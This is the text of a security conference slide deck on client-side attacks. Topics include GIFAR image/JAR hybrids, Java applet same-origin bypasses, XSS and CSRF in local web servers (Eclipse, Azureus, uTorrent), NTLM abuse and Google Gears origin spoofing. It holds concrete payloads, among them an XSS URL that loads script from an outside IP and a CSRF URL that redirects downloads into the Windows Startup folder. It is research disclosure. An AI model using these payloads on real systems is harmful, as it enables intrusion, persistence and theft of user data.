Beyond Document.Cookie
Welcome

Nate McFeters  Billy Rios  Rob Carter  John Heasman

Our Mission:

“Demonstrate a feasible compromise of an organization via client-side attacks that require no code execution and that even work against IE running in Protected Mode.”

Las Vegas looks the way you'd imagine heaven must look at night  - Chuck Palahniuk
Agenda

- The Flaw of Domain-Based Trust
  - What Relies on Domain-Based Trust?
  - Overview of Same Origin Policy
  - Content Ownership and Content “PWNERSHIP”
- Abusing Domain-Based Trust
  - JVM DNS Rebinding
  - GIFAR Attacks
- Java: The Land Time Forgot
  - Java Network Reconnaissance
  - Loading Content from Local
  - Abusing NTLM
  - Repurposing Signed Content
- A Word About Online Word Document Editing
  - Repurposing Java Applets in ThinkFree
  - I am the Mayor of Oak Tree: Stealing Google Documents
- Local Web Servers
  - uTorrent CSRF
  - Cross-Zone Scripting
  - Azureus Web UI XSS
  - Eclipse Help System XSS
- Other Oddities
  - Windows Vista Version Trick
  - Google Gears Origin Spoofing

Las Vegas is sort of like how God would do it if he had money - Steve Wynn
What We’re Going to Talk About

- Flaws in Domain Based Trust
- Blended Attacks
- Web 2.0 Attacks
- Weaponized examples against well known apps
- Why Web Application Firewalls and PCI certifications are NOT helping you with this talk

Las Vegas is sort of like how God would do it if he had money - Steve Wynn
Impact

• Dan’s DNS Bug > Our Research > A LOT
• LOTS of web applications are affected
• Many of the most well known/widely used domains were/are affected

Las Vegas is sort of like how God would do it if he had money - Steve Wynn
The Flaw of Domain-Based Trust

Ahhh... sweet Domain-Based Trust

Jesus, where will it end? How low do you have to stoop in this country to become president? – Hunter S. Thompson
What Relies on Domain-Based Trust?

• Same Origin Policy
• SSL Certificates
• Phishing Filters
• Human Trust
• The Internet
Overview of the Same Origin Policy

• Goal is to prevent a resource loaded from one site manipulating or communicating with another site

• Evil.com should not be able drive interaction on my behalf to bank.com

I mean, what do you do in Las Vegas? You gamble - and you go to strip clubs - Scott Caan
Not The Same Old “Same Origin Policy”

• Not all Same Origin (SO) bypasses are created equal

I. Full: connect to any machine anywhere
II. Partial: reference our content on target site

Las Vegas is sort of like how God would do it if he had money - Steve Wynn
The Flaw of Domain-Based Trust

Content Ownership and PWNERSHIP

Man, I really like Vegas - Elvis Presley
Abusing code.google.com file uploads

• Upload arbitrary files code.google.com by attaching a file to the “issues” portion of a project
• Uploaded file is served from code.google.com
• As each project has its own directory, can’t use crossdomain.xml file and Flash
• Java doesn’t have this restriction, so upload an applet

What happens in Vegas stays in Vegas - Jeff Candido and Jason Hoff
PWNERSHIP – A Quick Example

Las Vegas is sort of like how God would do it if he had money - Steve Wynn
Las Vegas is sort of like how God would do it if he had money - Steve Wynn
Las Vegas is sort of like how God would do it if he had money - Steve Wynn
Las Vegas is sort of like how God would do it if he had money - Steve Wynn
What does this get US?

- A “Bridge” is created
- Applet can talk to your domain
- My webpage (evil.com) can talk to the APPLET
- We use your cookies 😊
- We drive interaction on your behalf
Stealing GoogleCode Password

Cross Domain Vulnerability in Code.Google.Com (with assorted Java Applet trickery)

If you're logged into google, you'll see some interesting items below!
Your GoogleCode Password: JM

code.google.com CSRF token: "1aec0859f4b725e2181b29ad7661ae35"

That sh*t was crazy dawg! – Billy BK Rios
General Content Ownership Issues

• Any site that takes ownership of someone else’s content is at risk
• Seems obvious if a site will take arbitrary uploads of executable code or dynamic server side code and put it in a predictable location
  – What if it’s not the same domain and protected by cookies, i.e. domain rewriting?

I’m fu**in’ dying man... - Nate McFeters
General Content Ownership Issues
Cont’d

• What about images, text, video, word documents, XML, etc? Is this OK?
  – XML leads to the upload of a crossdomain.xml policy file for attacking Flash for bypass of Same Origin Policy
  – Images, Video, Word Docs, all have possible file format flaws
  – What about GIFARS?
    • Wait, what’s a GIFAR?
    • You’ll see...

Brett, will you please just get me some cereal and some Pepto Bismol... I’m seriously dying man.
  – Nate McFeters
Enter Jafar Attacks

You took too much man, too much, too much. – Benecio Del Toro
That’s GIFAR Attacks, Not Jafar

• What’s a GIFAR?
  – A combination of a GIF and a JAR resulting from the fact that a JAR keeps its relevant data within the footer of a file, whereas GIFs keep their relevant metadata in the header
  – Allows us to create a file that is both a GIF and a JAR
  – Will load just as any image would, but will also load as a JAR (Applet in this case)

He who makes a beast out of himself gets rid of the pain of being a man. – Hunter S. Thompson
What’s WRONG with this Picture?

Las Vegas is sort of like how God would do it if he had money - Steve Wynn
These aren’t the JARs you’re looking for
What does this get US?

- A “Bridge” is created
- Applet can talk to your domain
- My webpage (evil.com) can talk to the APPLET
- We use your cookies 😊
- We drive interaction on your behalf
Real Life Example?

- Google
- Why Google?
- Fixed?
- Others?
Upload Photos: Create or Select Album

Choose an album below or create a new album.

- Blogger Pictures (Unlisted)
- Security Tests (Public)
Upload Photos to: Security Tests

Select photos to upload

C:\Users\birios\Desktop\Working\Google

Browse...

Browse...

Browse...

Browse...

Start Upload
<HTML>
  <HEAD>
    <TITLE>Jar Pwn</TITLE>
  </HEAD>

  <BODY>
    <APPLET code="hiddenjar.class" archive="NotAJar.gif"
            codebase="http://lh4.google.com/
            width="800" height="100">
    </APPLET>
  </BODY>
</HTML>
Hidden Jars - AKA - These aren’t the JARS you’re looking for - Google

If you’re logged into google, you’ll see some interesting items below!

Address:  user1@gmail.com
Address:  user2@gmail.com
Address:  user3@gmail.com
Address:  user4@gmail.com
Address:  user5@gmail.com
Whose Fault is This?!?! 

- It’s easy to blame Java (most people will)
- Application level issue?
- Content Ownership/Pwnership
  - Protect the Integrity of the Domain Name
  - Understand how browsers/popular third parties establish SOP
- Be EXTREMELY careful of pwnership
- In a cloud computing environment it’s worse
This Image is Not the JAR You Are Looking For

• Jedi-mind trick on Java Virtual Machine that allows an image to also be an applet

• By the way, it’s not just images

• Why is this useful? Well, how many sites allow you to load images?
  – Youtube, GMail, Yahoo! Mail, Nearly all Social Networking Apps, Forums, etc.

• We now can combine with other vectors and control the Intarwebz.

A weekend in Vegas without gambling and drinking is just like being a born-again Christian.
  - Artie Lange
Local Webservers

• More and more apps want HTTP IPC:
  – E.g. Google Desktop, Picasa,
• “localhost” is Local Intranet Zone
• XSS/XSRF lets us cross zones

I mean, what do you do in Las Vegas? You gamble - and you go to strip clubs - Scott Caan
Locally Running Web Servers

Cross-Zone Scripting

Las Vegas is sort of like how God would do it if he had money - Steve Wynn
Cross-Zone Scripting

• Locally running web servers are vulnerable to Cross-Zone Scripting attacks

• What are the zones:
  – Internet (high security)
  – Local Intranet (medium-low security)
  – Restricted (very high security)
  – Trusted (low security)

• To get into the trusted zone requires the user or a trusted program to put you there

• We want to get into the Local Intranet zone

For a loser, Vegas is the meanest town on earth - Hunter S. Thompson
The “localhost” is in the Intranet Zone

• What sites are in Local Intranet by default?
  – All network connections established with the Universal Naming Convention (e.g. \\192.168.0.3\share)
  – Web sites that bypass the proxy server
  – Web sites with names that don’t include periods (.)

• What’s another name for 127.0.0.1 in almost every operating system out there?
  – localhost!
    • Contains no periods
    • All ports for localhost are fair game

He who makes a beast out of himself gets rid of the pain of being a man. – Hunter S. Thompson
What Advantage Does Local Intranet Give?

- What can we do in the Local Intranet Zone?
  - Same origin is not strictly enforced like in the Internet Zone
  - Useful for other attacks requiring the lowered privileges of the intranet zone like John’s password hash stealer
  - Phishing filter disabled
  - Pop-up blocker disabled
  - No size or positioning constraints for new windows created from the local intranet zone

We can't stop here this is bat country. – Hunter S. Thompson
Locally Running Web Servers

Azureus Web UI XSS

I mean, what do you do in Las Vegas? You gamble - and you go to strip clubs - Scott Caan
What is Azureus?

• Popular torrent client
• Azureus comes with a web UI plugin built in, but not enabled by default.
• This is useful for remote administration of torrent downloads

Jesus, where will it end? How low do you have to stoop in this country to become president? – Hunter S. Thompson
Azureus Web UI XSS

- Sample XSS attack vectors:

I lost $35,000 in less than a week at the Mirage in Las Vegas. - Dennis Rodman
Locally Running Web Servers

Eclipse Help System XSS

Las Vegas is sort of like how God would do it if he had money - Steve Wynn
Locally Running Web Server in Eclipse

- Eclipse help system starts Apache Coyote web server... used for help for Integrated Dev Environment (IDE)
- IDE that is used as the basis for many different products
  - Adobe Flex Builder
  - IBM WebSphere Studio
  - SAP NetWeaver Studio
  - JBoss Eclipse IDE
  - Borland JBuilder 2007
  - MyEclipse
  - Zend Studio

Las Vegas looks the way you'd imagine heaven must look at night - Chuck Palahniuk
Eclipse Help System XSS

- http://localhost/help/advanced/searchView.jsp?searchWord=a"};}alert('xss');</script>

- http://localhost/help/advanced/workingSetManager.jsp?operation=add&workingSet='%3E%3Cscript%20src%3D'http%3A%2F%2F1.2.3.4%2Fa.js'%3E%3C/script%3E

No presidential candidate should visit Las Vegas without condemning organized gambling.
- Ralph Nader
Locally Running Web Servers

uTorrent CSRF

I lost $35,000 in less than a week at the Mirage in Las Vegas. - Dennis Rodman
What is uTorrent?

• Another popular torrent client
• Web UI plugin available
  – Starts a web server on the local host
  – Like Azureus, useful for remote administration

I shouldn't be near Vegas and have money in my pocket. - Adam Sandler
uTorrent Issues

• Unfortunately, there were problems with the implementation, namely XSS and CSRF:

In Vegas, I got into a long argument with the man at the roulette wheel over what I considered to be an odd number. - Steven Wright
uTorrent CSRF

• CSRF the "Move completed downloads to" option
  – http://localhost:14774/gui/?action=setsetting&
    s=dir_completed_download&v=C:\Documents%20and%20Settings\All%20Users\Start%20Menu\Programs\Startup

• CSRF to add torrent and begin download

I did my time for the crime. I paid my money to Las Vegas. I paid my dues - Mike Tyson
uTorrent CSRF

- uTorrent settings will now look like this:

Las Vegas looks the way you'd imagine heaven must look at night - Chuck Palahniuk
Java: The Land Time Forgot

“90% of desktops run Java SE”

JavaOne 2008, Keynote

No presidential candidate should visit Las Vegas without condemning organized gambling.
- Ralph Nader
Java: The Land Time Forgot

Java Network Reconnaissance

I lost $35,000 in less than a week at the Mirage in Las Vegas. - Dennis Rodman
Detect VMWare and VPNs

- Applet can enumerate nw interfaces
  ```java
  java.net.NetworkInterface getNetworkInterfaces()
  ```
- Applet can enumerate nw interfaces
- Search for common names:
  - VPNs
  - VMWare
  - Wireless, Bluetooth
Determine the DNS Server

- Applets cannot learn DNS server
- Use JNDI to try to resolve hostname

```java
hashtable.put("java.naming.factory.initial", "com.sun.jndi.dns.DnsContextFactory");
hashtable.put("java.naming.provider.url", "dns://");
(new InitialDirContext(hashtable)).getAttributes("foo", new String[] {"A"});
```

- Grep exception for IP:

```java
java.security.AccessControlException:
    access denied (java.net.SocketPermission DNSServerIP connect)
```

In Vegas, I got into a long argument with the man at the roulette wheel over what I considered to be an odd number. - Steven Wright
Resolve Arbitrary Hostnames

- Applets cannot resolve hostnames

```
java.security.AccessControlException:
access denied (java.net.SocketPermission hostname resolve)
```

- Java Web Start isInstalled ActiveX
- Brute force common intranet hostnames

I did my time for the crime. I paid my money to Las Vegas. I paid my dues - Mike Tyson
Host-up Scan

- Applet can only connect to same origin
- But java.net.InetAddress contains:
  
  ```java
  boolean isReachable(NetworkInterface netif, int ttl, int timeout)
  ```
  
- Implemented in native code (no sandbox)
  - TCP connect port 7 (or ICMP echo)
- Get local IP and sweep subnets

Las Vegas looks the way you'd imagine heaven must look at night - Chuck Palahniuk
Java: The Land Time Forgot

Loading Content From the Localhost

Las Vegas is sort of like how God would do it if he had money - Steve Wynn
File & Localhost Codebases

• Applet loaded from file://
  – Can read files from the same directory

• Applet loaded from file:// or localhost:
  – Enumerate IPs bound to each adapter
  – Listen on port (> 1025), accept from localhost

• Applet loaded from JRE\lib\ext:
  – Gets java.Security.AllPermission

Jesus, where will it end? How low do you have to stoop in this country to become president? – Hunter S. Thompson
Logical Same Origin Bypasses

• Patched March 2008

I hadn't been in Vegas 20 minutes when I got word that the bookmakers were offering three to one that Frank wouldn't show for my wedding. - Sammy Davis, Jr.
Java: The Land Time Forgot

Abusing NTLM

Las Vegas is sort of like how God would do it if he had money - Steve Wynn
For a loser, Vegas is the meanest town on earth - Hunter S. Thompson
Java & NTLM

• Use localhost partial Same Origin bypass
• Applet binds port 1234 on localhost
  sock = new ServerSocket(1234, 0,
  InetAddress.getByName("127.0.0.1"));
• IFRAME src set to http://localhost:1234
• We’ve got a web server!

I mean, what do you do in Las Vegas? You gamble - and you go to strip clubs - Scott Caan
Which Means…

Applet 1

Applet 2

Applet 3

Internet

Auth’ed

Intranet

Man, I really like Vegas - Elvis Presley
A Word About Online Word Document Editing

Repurposing Java Attacks in ThinkFree

I’m fu**in’ dying man… - Nate McFeters
Repurposing Java: Who Do You Trust?

• Users agree to trust publishers, not <Publisher, URL>

Brett, will you please just get me some cereal and some Pepto Bismol... I’m seriously dying man.  
– Nate McFeters
What is ThinkFree?

• ThinkFree is a signed applet (for disk access)
• Looks a lot like Word 2003 ... by design

If we're ever going to get out of here alive, we're going to need some golf shoes. – Hunter S. Thompson
Repurposing Java in an Office 2.0 Application

• Loader JAR is signed, remaining JARs unsigned
• Attack: Host original loader with malicious 2nd JAR
• Silent compromise of all ThinkFree users
• Patched May 2008
• Java applets can be repurposed just like ActiveX

You took too much man, too much, too much. – Benecio Del Toro
A Word About Online Word Document Editing

I am the Mayor of Oak Tree: Stealing Google Documents

He who makes a beast out of himself gets rid of the pain of being a man. – Hunter S. Thompson
Becoming the Mayor of Oak Tree

- Unauthenticated users could view arbitrary docs by simply guessing the doc_id parameter:

In the case of an earthquake hitting Las Vegas, be sure to go straight to the Keno Lounge. Nothing ever gets hit there. - Author Unknown
Becoming the Mayor of Oak Tree

• Unauthorized users could edit arbitrary docs:

A weekend in Vegas without gambling and drinking is just like being a born-again Christian.

- Artie Lange
Other Paths to Becoming Mayor

- Use the email collaborators feature, then replace your doc_id with someone else’s and email yourself their document
- Use the publish document to blog feature, then replace your doc_id with someone else’s and push the document to your blogspot blog
- Upload a crossdomain.xml file instead of a doc

No presidential candidate should visit Las Vegas without condemning organized gambling.
- Ralph Nader
Other Oddities

Google Gears JSON Injection Origin
Spoofing Attack

Las Vegas is sort of like how God would do it if he had money - Steve Wynn
Google Gears Origin Spoofing

• Gears installs client-side code
  – DLL for IE
  – XUL object for Firefox

• When you visit a page that wants to run Gears code, Gears will prompt you and ask if you would like to trust this code
Google Gears Security Warning

The website below wants to use Google Gears. This site will be able to store and access information on your computer. [What is this?]

Google Code

http://...[redacted]...

Trusted Google Code Gears Application for Pwning U

☐ I trust this site. Allow it to use Google Gears.

Never allow this site

[Allow] [Cancel]
Google Gears Origin Spoofing

- An ActiveX object is created
- The factory function getPermission() is then called
<html>
<script>
if(typeof GearsFactory != 'undefined') {
    factory = new GearsFactory();
} else {
    factory = new ActiveXObject('Gears.Factory');
}
try {
    factory.getPermission("Google Code","origin":"http://code.google.com"}, "gears_sm_1.png", "Trusted Google Code Gears Application for Pwning U");
}catch (e) {
    alert(e.message);
}
db = factory.create('beta.database');
db.open('0mgurs0pwn3d');
</script>
</html>
Google Gears Origin Spoofing

• The information in the parameters for `getPermission()` is passed to the modal dialog box through a JSON object

```
{
    "customIcon" : "http://ipaddress/gears/gears_sm_1.png",
    "customMessage" : "Trusted Google Code Gears Application for Pwning U",
    "customName" : "Google Code",
    "origin" : "http://ipaddress"
}
```
Google Gears Origin Spoofing

• Turns out the “customName” parameter doesn’t sanitize for double quotes

```json
{
    "customIcon": "http://ipaddress/gears/gears_sm_1.png",
    "customMessage": "Trusted Google Code Gears Application for Pwning U",
    "customName": "Google Code",
    "orgin": "http://code.google.com"
}
```

"origin": "http://ipaddress"
Google Gears Security Warning

The website below wants to use Google Gears. This site will be able to store and access information on your computer. What is this?

Google Code

http://code.google.com

Trusted Google Code Gears Application for Pwning U

I trust this site. Allow it to use Google Gears.

Never allow this site

Allow  Cancel
Conclusions and Thoughts

• Blended Threats lead to unexpected attack paths
• The attacks discussed could fairly easily be used on a large number of sites in a worm like fashion
• If we suck at protecting our very real physical systems, how can we expect to protect our abstract “cloud” of computers?

In the case of an earthquake hitting Las Vegas, be sure to go straight to the Keno Lounge. Nothing ever gets hit there. - Author Unknown
Questions?

• Haaaawhhhhhhhaaaattttt?????